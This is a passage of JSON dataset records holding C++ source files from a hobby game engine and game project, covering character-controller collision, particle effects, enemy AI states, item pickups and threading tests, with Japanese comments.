m_rigidBody.GetBody();\n\t\tcallback.startPos.Set(start.getOrigin());\n\t\tcallback.nonHitCollisionAttr = m_nonHitCollisionAttr;\n\t\t//衝突検出。\n\t\t//if (fabsf(endPos.y - callback.startPos.y) > FLT_EPSILON) {\n\t\tif (fabsf(end.getOrigin().y() - start.getOrigin().y()) > FLT_EPSILON) {\n\t\t\tPhysics().ConvexSweepTest((const btConvexShape*)m_collider.GetBody(), start, end, callback);\n\t\t\tbool isNearFloor = callback.dist < callback.wallDist;\n\t\t\tisNearFloor = true;\n\t\t\t//if (isNearFloor && callback.isHit) \n\t\t\tif (callback.isHit)\n\t\t\t{\n\t\t\t\t//当たった。\n\t\t\t\t//moveSpeed.y = 0.0f;\n\t\t\t\tm_isJump = false;\n\t\t\t\tm_isOnGround = true;\n\t\t\t\tnextPos.y = callback.hitPos.y + m_offsetY;// + m_height * 0.5f + m_radius;//+m_height * 0.1f;\n\t\t\t\t//nextPos = callback.hitPos;\n\t\t\t\t//DebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"HIT FLOOR\");\n\t\t\t\t//DebugPrintVector3(EDebugConsoleKind::master, nextPos-callback.hitPos);\n\t\t\t\t//DebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"\");\n\t\t\t\t//DebugPrintVector3(EDebugConsoleKind::master, nextPos);\n\t\t\t\tisDebugPrinted = true;\n\n\t\t\t\tif (std::isnan(nextPos.x) || std::isnan(nextPos.y) || std::isnan(nextPos.z) || std::isinf(nextPos.x))\n\t\t\t\t{\n\t\t\t\t\t//DebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"nextPos is Nan !!!!\");\n\t\t\t\t}\n\t\t\t}\n\t\t\t//if (!isNearFloor && callback.isHitWall && isFall && 1)\n\t\t\tif (callback.isHitWall /*&& isFall*/ && 0)\n\t\t\t{\n\t\t\t\tm_isJump = false;\n\t\t\t\tm_isOnGround = true;\n\n\t\t\t\tVector3 vT0, vT1;\n\t\t\t\t//XZ平面上での移動後の座標をvT0に、交点の座標をvT1に設定する。\n\t\t\t\tvT0.Set(nextPos.x, 0.0f, nextPos.z);\n\t\t\t\tvT1.Set(callback.wallHitPos.x, 0.0f, callback.wallHitPos.z);\n\t\t\t\t//めり込みが発生している移動ベクトルを求める。\n\t\t\t\tVector3 vMerikomi;\n\t\t\t\tvMerikomi = vT0 - vT1;\n\t\t\t\t//XZ平面での衝突した壁の法線を求める。。\n\t\t\t\tVector3 hitNormalXZ = callback.wallNormal;\n\t\t\t\thitNormalXZ.y = 0.0f;\n\t\t\t\thitNormalXZ.Normalize();\n\t\t\t\t//めり込みベクトルを壁の法線に射影する。\n\t\t\t\tfloat fT0 = hitNormalXZ.Dot(vMerikomi);\n\t\t\t\t//押し戻し返すベクトルを求める。\n\t\t\t\t//押し返すベクトルは壁の法線に射影されためり込みベクトル+半径。\n\t\t\t\tVector3 vOffset;\n\t\t\t\tvOffset = hitNormalXZ;\n\t\t\t\tvOffset *= -fT0 + m_radius + m_offsetXZ;\n\t\t\t\t//nextPos += hitNormalXZ * (m_radius + m_offsetXZ);\n\t\t\t\tnextPos += vOffset;\n\t\t\t\t//nextPos.y = callback.wallHitPos.y;\n\n\t\t\t\t//DebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"HIT WALL IN FLOOR\");\n\t\t\t\tisDebugPrinted = true;\n\n\t\t\t\tif (std::isnan(nextPos.x) || std::isnan(nextPos.y) || std::isnan(nextPos.z) || std::isinf(nextPos.x))\n\t\t\t\t{\n\t\t\t\t\t//DebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"nextPos is Nan !!!!\");\n\t\t\t\t}\n\n\t\t\t\t//m_position = nextPosition;\n\t\t\t\t//Vector3 newpos(nowPos.x, nextPos.y, nowPos.z);\n\t\t\t\t//ExecuteWall(newpos, nextPos, originalXZDir, Ypos);\n\t\t\t}\n\t\t\t//nextPos.y += m_height * 0.5f + m_radius;\n\t\t\t//if (!(callback.isHit || callback.isHitWall))\n\t\t\tif (!callback.isHit)\n\t\t\t{\n\t\t\t\t//地面上にいない。\n\t\t\t\tm_isOnGround = false;\n\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/*DebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"WTF!!!??? KONNA NO ARIE NAI\");\n\t\t\tDebugPrintValue(TO_INT(EDebugConsoleKind::master), \"ADD Y\", addPosY);\n\t\t\tDebugPrintValue(TO_INT(EDebugConsoleKind::master), \"DIFF s2e\", fabsf(end.getOrigin().y() - start.getOrigin().y()));\n\t\t\t\n\t\t\tDebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"\");*/\n\t\t\tisDebugPrinted = true;\n\t\t}\n\t}\n\tvoid CharacterController::ExebuteContactTest(const Vector3& addV)\n\t{\n\t\tif (m_isUseRigidBody)\n\t\t{\n\t\t\t\n\t\t\tbtRigidBody* btBody = m_rigidBody.GetBody();\n\t\t\t//剛体を動かす。\n\t\t\tbtBody->setActivationState(DISABLE_DEACTIVATION);\n\t\t\tbtTransform& trans = btBody->getWorldTransform();\n\t\t\t\n\t\t\tfor (int i=0;i<5;i++)\n\t\t\t{\n\t\t\t\tContactTestResult res;\n\t\t\t\tres.nonHitCollisionAttr = m_nonHitCollisionAttr;\n\t\t\t\tPhysics().ContactTest(m_rigidBody.GetBody(), res);\n\t\t\t\tif (res.isHit)\n\t\t\t\t{\n\t\t\t\t\tfloat t = addV.Dot(res.hitNormal);\n\t\t\t\t\tif (t >= 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tres.hitNormal *= -1.f;\n\t\t\t\t\t}\n\t\t\t\t\t//Vector3 v = res.hitPos - m_position;\n\t\t\t\t\t\n\t\t\t\t\tm_position += res.hitNormal * -res.dist;\n\t\t\t\t\t//剛体の位置を更新。\n\t\t\t\t\ttrans.setOrigin(btVector3(m_position.x, m_position.y + m_height * 0.5f + m_radius, m_position.z));\n\n\t\t\t\t\t/*DebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"Contact Test\");\n\t\t\t\t\tDebugPrintVector3(TO_INT(EDebugConsoleKind::master), res.hitNormal);\n\t\t\t\t\tDebugPrintValue(EDebugConsoleKind::master, \"DIST\", res.dist);\n\t\t\t\t\tDebugPrintValue(EDebugConsoleKind::master, \"T\", t);*/\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\treturn;\n\t\t\t}\n\t\t\t//DebugPrintLineConsole(TO_INT(EDebugConsoleKind::master), \"Contact Test END\");\n\t\t}\n\t}\n\t/*!\n\t* @brief\t死亡したことを通知。\n\t*/\n\tvoid CharacterController::RemoveRigidBoby()\n\t{\n\t\tif (m_isRemoveRigidBody)\n\t\t\treturn;\n\t\tPhysics().RemoveRigidBody(m_rigidBody);\n\t\tm_isRemoveRigidBody = true;\n\t}\n}"
},
{
"alpha_fraction": 0.6758677363395691,
"alphanum_fraction": 0.6828368306159973,
"avg_line_length": 20.91317367553711,
"blob_id": "eba5acb537d29c9316027f29d41e3bbd7a254270",
"content_id": "084ce29850025ccce21cd5e7f69969639f25689d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7398,
"license_type": "no_license",
"max_line_length": 175,
"num_lines": 334,
"path": "/UsualEngineR/Graphics/Effect/ParticleEffect.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\tclass ParticleEffect\n\t{\n\tpublic:\n\t\tParticleEffect() {}\n\t\t~ParticleEffect() {}\n\n\t\tvirtual void Release() = 0;\n\t\t//virtual void Update() = 0;\n\t\tvirtual void Draw(\n\t\t\tRenderContext& rc,\n\t\t\tconst Vector3& pos,\n\t\t\tconst Vector3& sca,\n\t\t\tconst Quaternion& rot,\n\t\t\tconst Vector4& mulColor,\n\t\t\tconst Matrix& view,\n\t\t\tconst Matrix& projection\n\t\t) = 0;\n\tprivate:\n\n\t};\n\n\n\n\tstruct SParticleData\n\t{\n\t\tMatrix mWorld;\n\t\tVector4 mulColor;\n\t};\n\tstruct SParticleInstanceData\n\t{\n\t\tVector3 pos;\n\t\tVector3 sca;\n\t\tQuaternion rot;\n\t\tVector4 mulColor;\n\t};\n\tstruct ParticleDataEX\n\t{\n\t\tSParticleInstanceData particleData;\n\t\tfloat lifeTime;\n\t\tMatrix mWorld = g_matIdentity;\n\t\tbool isWorld;\n\t};\n#define PLANE_PARTICLE_GENERATE_ARGS_CONST PlaneParticleEffect* pThis, float deltaTime\n#define PLANE_PARTICLE_GENERATE_FUNC(pThis,deltaTime) (PLANE_PARTICLE_GENERATE_ARGS_CONST)->void\n\n#define PLANE_PARTICLE_UPDATE_ARGS_CONST ParticleDataEX& data, float deltaTime, void* extendData\n#define PLANE_PARTICLE_UPDATE_FUNC(data,deltaTime,extendData) (PLANE_PARTICLE_UPDATE_ARGS_CONST)->void\n\n\tclass PlaneParticleEffect;\n\tusing PlaneParticleGenerateFunc = std::function<void(PLANE_PARTICLE_GENERATE_ARGS_CONST)>;\n\tusing PlaneParticleUpdateFunc = std::function<void(PLANE_PARTICLE_UPDATE_ARGS_CONST)>;\n\n\n\n\n\tstruct PlaneParticleUpdater\n\t{\n\t\tPlaneParticleUpdater(PlaneParticleGenerateFunc gene, PlaneParticleUpdateFunc update):\n\t\t\tm_geneFunc(std::move(gene)),m_updateFunc(std::move(update))\n\t\t{\t\n\t\t}\n\t\tPlaneParticleGenerateFunc m_geneFunc;\n\t\tPlaneParticleUpdateFunc m_updateFunc;\n\t\t//float m_timer = 0;\n\t};\n\t\n\tstruct PlaneParticleEffectInitData\n\t{\n\t\tconst wchar_t* m_ddsFilePath = { nullptr };\t\t//DDSファイルのファイルパス。\n\t\tUINT m_width = 0;\t\t\t\t\t\t\t\t\t\t//スプライトの幅。\n\t\tUINT m_height = 0;\t\t\t\t\t\t\t\t\t\t//スプライトの高さ。\n\t\tbool m_isDepthTest = true;\n\t\tbool m_isBillboard = true;\n\t\tint m_extendDataSize = 0;\n\t\t//PlaneParticleGenerateFunc m_generateFunc;\n\t\t//PlaneParticleUpdateFunc m_updateFunc;\n\t\tPlaneParticleUpdater* m_updater = nullptr;\n\t};\n\n\tclass PlaneParticleEffect final:public ParticleEffect\n\t{\n\tpublic:\n\t\tvoid Release();\n\t\tvoid Init(const PlaneParticleEffectInitData& ini);\n\n\t\tvoid Update(float deltaTime, const Vector3& pos, const Vector3& sca, const Quaternion& rot);\n\n\t\t/// <summary>\n\t\t/// 描画。PrePostRenderで読んでやってね!\n\t\t/// </summary>\n\t\t/// <param name=\"rc\"></param>\n\t\t/// <param name=\"pos\"></param>\n\t\t/// <param name=\"sca\"></param>\n\t\t/// <param name=\"rot\"></param>\n\t\t/// <param name=\"mulColor\"></param>\n\t\t/// <param name=\"view\"></param>\n\t\t/// <param name=\"projection\"></param>\n\t\tvoid Draw(\n\t\t\tRenderContext& rc,\n\t\t\tconst Vector3& pos,\n\t\t\tconst Vector3& sca,\n\t\t\tconst Quaternion& rot,\n\t\t\tconst Vector4& mulColor,\n\t\t\tconst Matrix& view,\n\t\t\tconst Matrix& projection\n\t\t);\n\n\t\ttemplate<class T>\n\t\tvoid AddParticle(const Vector3& pos, const Vector3& sca, const Quaternion& rot, const Vector4& mulColor, float lifeTime, const T& extendData = nullptr, bool isWorld = false)\n\t\t{\n\t\t\tif (m_numInstance >= MAX_INSTANCES_NUM)\n\t\t\t\treturn;\n\t\t\tint len = m_particleDatasEX.size();\n\t\t\tm_particleDatasEX.resize(len + 1);\n\t\t\t\n\t\t\tm_particleDatasEX[len].particleData.mulColor = mulColor;\n\t\t\tm_particleDatasEX[len].lifeTime = lifeTime;\n\n\t\t\tif (!isWorld)\n\t\t\t{\n\t\t\t\tm_particleDatasEX[len].particleData.pos = pos;\n\t\t\t\tm_particleDatasEX[len].particleData.sca = sca;\n\t\t\t\tm_particleDatasEX[len].particleData.rot = rot;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t/*Matrix mrot, mworld;\n\t\t\t\tmworld.MakeScaling(sca);\n\t\t\t\tmrot.MakeRotationFromQuaternion(rot);\n\t\t\t\tmworld.Multiply(mworld, mrot);\n\n\t\t\t\tmworld.SetTranspose(pos);*/\n\n\t\t\t\tm_particleDatasEX[len].particleData.pos = pos;\n\t\t\t\tm_particleDatasEX[len].particleData.sca = sca;\n\t\t\t\tm_particleDatasEX[len].particleData.rot = rot;\n\n\t\t\t\t//Vector3 wpos = pos;\n\t\t\t\t//m_mWorld.Apply(wpos);\n\n\t\t\t\t//mworld.Multiply(m_mWorld, mworld);\n\t\t\t\tm_particleDatasEX[len].mWorld = m_mWorld;\n\t\t\t\t//m_particleDatasEX[len].mWorld.SetTranspose(wpos);\n\t\t\t\tm_particleDatasEX[len].isWorld = true;\n\t\t\t}\n\n\t\t\tif (m_extendDataSize > 0)\n\t\t\t{\n\t\t\t\tif (sizeof(T) != m_extendDataSize || &extendData == nullptr)\n\t\t\t\t\tstd::abort();\n\n\t\t\t\tif (m_numInstance >= m_extendDatas.size())\n\t\t\t\t{\n\t\t\t\t\tvoid* p = malloc(m_extendDataSize);\n\t\t\t\t\tmemcpy(p, &extendData, m_extendDataSize);\n\t\t\t\t\tm_extendDatas.push_back(p);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tmemcpy(m_extendDatas[m_numInstance], &extendData, m_extendDataSize);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tm_numInstance++;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tconst Matrix& GetWorldMatrix() const\n\t\t{\n\t\t\treturn m_mWorld;\n\t\t}\n\t\t/*struct SParticleData\n\t\t{\n\t\t\tMatrix mWorld;\n\t\t\tVector4 mulColor;\n\t\t};*/\n\n\t\tvoid SetGenerateFlag(const bool flag) {\n\t\t\tm_generateFlag = flag;\n\t\t}\n\n\tprivate:\n\t\tstruct SConstBuffData\n\t\t{\n\t\t\tSConstBuffData(const Matrix& mVP, const Vector4& mulcolor) :\n\t\t\t\tmvp(mVP), mulColor(mulcolor)\n\t\t\t{\n\t\t\t}\n\t\t\tMatrix mvp;\n\t\t\tVector4 mulColor;\n\t\t};\n\t\t\n\t\t\n\tprivate:\n\t\tstatic const UINT MAX_INSTANCES_NUM = 2048U;\n\t\tIndexBuffer m_indexBuff;\n\t\tVertexBuffer m_vertBuff;\n\t\tTexture m_texture;\n\t\tfloat m_width = 0;\n\t\tfloat m_height = 0;\n\n\t\tRootSignature m_rootSign;\n\t\tDescriptorHeap m_descHeap;\n\t\tPipelineState m_pipState;\n\t\tConstantBuffer m_constBuffer;\n\n\t\t//SConstBuffData m_constBufferData;\n\t\t\n\t\tStructuredBuffer m_structuredBuff;\n\t\t//std::vector<SParticleData> m_particleDatas;\n\t\t//std::vector<float> m_particleTimes;\n\t\tstd::vector<ParticleDataEX> m_particleDatasEX;\n\t\tstd::vector<void*> m_extendDatas;\n\t\tint m_extendDataSize = 0;\n\n\t\tint m_numInstance=0;\n\n\t\tShader m_vs;\n\t\tShader m_ps;\n\n\t\t//PlaneParticleUpdater* m_updater = nullptr;\n\t\tPlaneParticleGenerateFunc m_generateFunc;\n\t\tPlaneParticleUpdateFunc m_updateFunc;\n\n\t\tbool m_isBillboard = true;\n\n\t\tMatrix m_mWorld = g_matIdentity;\n\t\tMatrix m_mRot_inv = g_matIdentity;\n\t\t//Quaternion m_qRot_inv = g_quaIdentity;\n\n\t\tbool m_generateFlag = true;\n\n\t};\n\n\n\n\n\n\t/*class ModelParticleEffect final:public ParticleEffect\n\t{\n\tpublic:\n\t\tvoid Release();\n\t\tvoid Draw(RenderContext& rc);\n\tprivate:\n\n\t};*/\n\tclass PlaneParticleEffectRender;\n\textern int dbg_cnt;\n\textern std::vector<PlaneParticleEffectRender*> dbg_ptrs;\n\tclass PlaneParticleEffectRender final:public GameObject\n\t{\n\tpublic:\n\t\t\n\t\tvoid Release() override\n\t\t{\n\t\t\tm_effect.Release();\n\t\t\t\n\t\t}\n\t\tvoid OnDestroy() override\n\t\t{\n\t\t\tRelease();\n\t\t\t//DebugPrintValue(EDebugConsoleKind::common, \"dbg_cnt sub\", --dbg_cnt);\n\t\t\t//auto it = std::find(dbg_ptrs.begin(), dbg_ptrs.end(), this);\n\t\t\t//dbg_ptrs.erase(it);\n\t\t}\n\n\t\tvoid Awake() override;\n\t\tvoid Init(const PlaneParticleEffectInitData& pid);\n\n\t\tvoid Update() override;\n\n\t\tvoid PostUpdate() override;\n\n\n\t\tvoid PrePostRender() override;\n\n\n\n\t\tvoid SetPos(const Vector3& pos)\n\t\t{\n\t\t\tm_pos = pos;\n\t\t}\n\t\tvoid SetSca(const Vector3& sca)\n\t\t{\n\t\t\tm_sca = sca;\n\t\t}\n\t\tvoid SetRot(const Quaternion& rot)\n\t\t{\n\t\t\tm_rot = rot;\n\t\t}\n\t\tvoid SetMulColor(const Vector4& col)\n\t\t{\n\t\t\tm_mulColor = col;\n\t\t}\n\n\t\tconst Vector3& GetPos() const\n\t\t{\n\t\t\treturn m_pos;\n\t\t}\n\t\tconst Vector3& GetSca() const\n\t\t{\n\t\t\treturn m_sca;\n\t\t}\n\t\tconst Quaternion& GetRot() const\n\t\t{\n\t\t\treturn m_rot;\n\t\t}\n\t\tconst Vector4& GetMulColor() const\n\t\t{\n\t\t\treturn m_mulColor;\n\t\t}\n\n\t\tvoid SetGenerateFlag(const bool flag) {\n\t\t\tm_effect.SetGenerateFlag(flag);\n\t\t}\n\n\tprivate:\n\t\tPlaneParticleEffect m_effect;\n\t\t\n\t\tVector3 m_pos = g_vec3Zero;\n\t\tVector3 m_sca = g_vec3One;\n\t\tQuaternion m_rot = g_quatIdentity;\n\t\tVector4 m_mulColor = {1,1,1,1};\n\t};\n}"
},
{
"alpha_fraction": 0.6534296274185181,
"alphanum_fraction": 0.673285186290741,
"avg_line_length": 17.016260147094727,
"blob_id": "ae24a89a086645085812e0ea3d11a5d671a5b5bf",
"content_id": "49d87ef5f718b0b7e74851f095e3f6e662620e77",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2216,
"license_type": "no_license",
"max_line_length": 104,
"num_lines": 123,
"path": "/Game/Enemy/Drop/DropItemA.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"DropItemA.h\"\n#include \"../EnemyManager.h\"\n#include \"../../Player/Player.h\"\n#include \"Level/GameStage.h\"\n#include \"GameManager.h\"\n#include \"Game.h\"\n#include \"Effect/SmokeEffect.h\"\n\nDropItemA::DropItemA()\n{\n\n}\n\nDropItemA::~DropItemA()\n{\n\n}\n\n\n\nvoid DropItemA::Release()\n{\n\tDeleteGO(m_model);\n\n\tif (m_effect != nullptr) {\n\t\tm_effect->Stop();\n\t\tDeleteGO(m_effect);\n\t}\n}\n\nvoid DropItemA::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid DropItemA::Awake()\n{\n\n}\n\nbool DropItemA::Start()\n{\n\t//Model\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/m/BackPack/BackPack.tkm\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\tm_position.y += 10.f;\n\n\t//Effect\n\tm_effect = NewGO<SmokeEffect>(0);\n\tm_effect->Init(Vector4(0.6f, 1.36f, 0.79f, 0.05f), Vector4(0.2f, 0.96f, 0.39f, 0.f), 0.6f, 2.f, false);\n\tm_effect->SetSca(Vector3::One * 0.75f);\n\tm_effect->SetPos(m_position);\n\tm_effect->SetSpeed(10.0f);\n\tm_effect->Play();\n\n\treturn true;\n}\n\n\nvoid DropItemA::PreUpdate()\n{\n\n}\n\nvoid DropItemA::Update()\n{\n\t//Rotation\n\tfloat rotSpeed = 50.f;\n\tQuaternion rot;\n\trot.SetRotationDeg(Vector3::AxisY, rotSpeed * gameTime()->GetDeltaTime());\n\tm_rotation.Multiply(rot);\n\tm_model->SetRotation(m_rotation);\n\t//Move\n\tm_position.y += sin(m_count) * 8.f * gameTime()->GetDeltaTime();\n\tm_count += 10.0f * gameTime()->GetDeltaTime();\n\tm_model->SetPosition(m_position);\n\n\tm_effect->SetPos(m_position);\n}\n\nvoid DropItemA::PostUpdate()\n{\n\tauto s = GameManager::GetInstance().m_stage;\n\n\tif (s == nullptr) {\n\t\tauto go = reinterpret_cast<GameObject*>(this);\n\t\tDeleteGO(go);\n\t\treturn;\n\t}\n\n\tauto p = GameManager::GetInstance().m_player;\n\tauto dist = (p->GetPosition() - m_position).Length();\n\n\tif (dist < m_GRASP_RANGE) {\n\t\t//p->UnlockSkill(m_typeId);\n\t\tGameManager::GetInstance().m_gameScene->OnItemUnlocked();\n\t\tp->UnlockPreset(Player::EnAttackPreset::enMeleePreset);\n\n\t\tauto gameObj = reinterpret_cast<GameObject*>(this);\n\t\tDeleteGO(gameObj);\n\t}\n}\n\n\nvoid DropItemA::Render()\n{\n\n}\n\nvoid DropItemA::PostRender()\n{\n\n}\n"
},
{
"alpha_fraction": 0.7121879458427429,
"alphanum_fraction": 0.7180616855621338,
"avg_line_length": 20.3125,
"blob_id": "d208620e9f6eee0fcc9fd9bc07f39545bcaa5f4e",
"content_id": "fdb565694fb7b6877ff282b8d6cb8aa4a6c899e0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 809,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 32,
"path": "/Game/Test/ThreadTest.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n#include \"Thread/ThreadObject.h\"\n#include \"Thread/Lock.h\"\n\nclass ThreadTest:public GameObject\n{\npublic:\n\t// GameObject を介して継承されました\n\tvirtual void Release() override;\n\n\tvirtual void OnDestroy() override;\n\n\tvoid Awake() override;\n\tbool Start() override;\n\tvoid Update() override;\nprivate:\n\tstd::unique_ptr<std::thread> m_thread;\n\tstd::thread* m_thread_2 = nullptr;\n\tModelRender* m_model;\n\tModelRender* m_model_1;\n\tModelRender* m_model_2;\n\n\n\tThreadObject m_threadObj;\t\t\t\t//お手軽なスレッド体験ができるクラス 詳細は ThreadObject.h まで\n\n\tint count = 0;\t\t\t\t\t\t\t//変数の排他制御のテスト用。\n\tLock<int> gCount = Lock<int>(count);\t//変数の排他制御のテスト用。詳細は Lock.h まで\n\n\tbool m_isOK = false;\n\tbool m_isEndThred = false;\n};"
},
{
"alpha_fraction": 0.6387225389480591,
"alphanum_fraction": 0.6447106003761292,
"avg_line_length": 16.241378784179688,
"blob_id": "e8e8b6f20bb277cdd7d8c85e0bb297cea0df73ea",
"content_id": "6e0d7f51e8d713889462a38ba527f566d1c56969",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 501,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 29,
"path": "/Game/Enemy/State/IEnemyState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"GameManager.h\"\nclass IEnemy;\n\nclass IEnemyState\n{\npublic:\n\tIEnemyState() {};\n\tvirtual ~IEnemyState() {};\n\tvirtual void Enter(IEnemy* e) = 0;\n\tvirtual IEnemyState* Update(IEnemy* e) = 0;\n\tvirtual void Exit(IEnemy* e) = 0;\n\n\tvirtual void OnAttacked(IEnemy* e) {}\n\nprotected:\n\n\tfloat Approach(float goal, float current, float dt) {\n\t\tauto diff = goal - current;\n\t\tif (diff > dt) {\n\t\t\treturn current + dt;\n\t\t}\n\t\tif (diff < -dt) {\n\t\t\treturn current - dt;\n\t\t}\n\t\treturn goal;\n\t}\n\n};\n\n"
},
{
"alpha_fraction": 0.7102473378181458,
"alphanum_fraction": 0.7102473378181458,
"avg_line_length": 15.70588207244873,
"blob_id": "eb64c33aa2b0786d87b5beee8c1c709b5d4db6d2",
"content_id": "f3c72931d290ec9937994d4fa916796251fc84d9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 283,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 17,
"path": "/UsualEngineR/Graphics/Light/LightBase.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"LightBase.h\"\n#include \"LightManager.h\"\n\nnamespace UER\n{\n\tbool LightBase::Start()\n\t{\n\t\t\n\t\tg_graphicsEngine->GetLightManager().AddLight(this);\n\t\treturn true;\n\t}\n\tvoid LightBase::OnDestroy()\n\t{\n\t\tg_graphicsEngine->GetLightManager().RmvLight(this);\n\t}\n}"
},
{
"alpha_fraction": 0.6298620104789734,
"alphanum_fraction": 0.6449184417724609,
"avg_line_length": 16.326086044311523,
"blob_id": "6174f3834d4ee516ce316794cd2d30547c8d3bbd",
"content_id": "b094812bd734b5224c519b8c9004b78bf6a529f2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 991,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 46,
"path": "/Game/PositionChecker.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n/// <summary>\n/// \n/// </summary>\nclass PositionChecker :public GameObject\n{\npublic:\n\tPositionChecker();\n\tvirtual ~PositionChecker();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\n\tconst Vector3& GetPos() const {\n\t\treturn m_position;\n\t}\n\n\tvoid SetPos(const Vector3& pos) {\n\t\tm_position = pos;\n\t}\nprivate:\n\tModelRender* m_model = nullptr;\n\tVector3 m_position = { 0,0,0 };\n\tVector3 m_scale = { 2.f,200.f,2.f };\n};\n"
},
{
"alpha_fraction": 0.6632717847824097,
"alphanum_fraction": 0.678866982460022,
"avg_line_length": 21.44285774230957,
"blob_id": "7a9ee96b54b82d679924ec9a41c944587b4b0aa3",
"content_id": "7e72f40e9ca66bce2f15249f545e22aa1d6278c6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3336,
"license_type": "no_license",
"max_line_length": 102,
"num_lines": 140,
"path": "/Game/Enemy/State/EnemyShortRangeComingState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"EnemyShortRangeComingState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Zako/Zako_ShortRangeMonster.h\"\n#include \"GameManager.h\"\n\nEnemyShortRangeComingState::EnemyShortRangeComingState()\n{\n}\n\nEnemyShortRangeComingState::~EnemyShortRangeComingState()\n{\n}\n\nvoid EnemyShortRangeComingState::Enter(IEnemy* e)\n{\n\te->PlayAnimation(TO_INT(IEnemy::EnAnimation::enRun));\n\n\tif (m_headIK == nullptr)\n\t{\n\t\tm_headIK = e->GetIK(TO_INT(IEnemy::EnIK::enHead));\n\t}\n}\n\nIEnemyState* EnemyShortRangeComingState::Update(IEnemy* e)\n{\n\tif(e->GetPreviousState() == e->GetState(TO_INT(Zako_ShortRangeMonster::EnStateEX::enLongJampAttack)))\n\t\treturn e->GetState(TO_INT(Zako_ShortRangeMonster::EnStateEX::enDance));\n\n\tauto player = GameManager::GetInstance().m_player;\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\n\t//IK\n\tif (m_headIK != nullptr)\n\t{\n\t\tauto p = ppos;\n\t\tp.y += 10;\n\t\tm_headIK->SetNextTarget(p);\n\t}\n\n\t//プレイヤーが空中にいるなら動かない。\n\tconst float airPlayerYPos = 70.0f;\n\tif (vecToPlayer.y > airPlayerYPos) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enIdleState));\n\t}\n\n\tconst float moveRange = 10.f;\n\tconst float attackRange = 30.f;\n\tconst float idleRange = 200.f;\n\n\tconst float vec2PlayerLen = vecToPlayer.Length();\n\tvecToPlayer /= vec2PlayerLen;\n\n\tif (player->GetCurrentHP() > 0.f) {\n\n\t\tfloat t = acosf(vecToPlayer.Dot(e->GetForward()));\n\n\t\t//近づいたら行動。\n\t\tif (vec2PlayerLen < attackRange && t < Math::PI * 0.3f) {\n\t\t\tauto rand = GRandom().Rand();\n\t\t\t//約30%の確率で行動変化。\n\t\t\tif (rand < 0.1f) {\n\t\t\t\t//ダンス。\n\t\t\t\treturn e->GetState(TO_INT(Zako_ShortRangeMonster::EnStateEX::enDance));\n\t\t\t}\n\t\t\telse if (rand < 0.7f) {\n\t\t\t\t//パンチ。\n\t\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enAttackA));\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//大振りのパンチ。\n\t\t\t\treturn 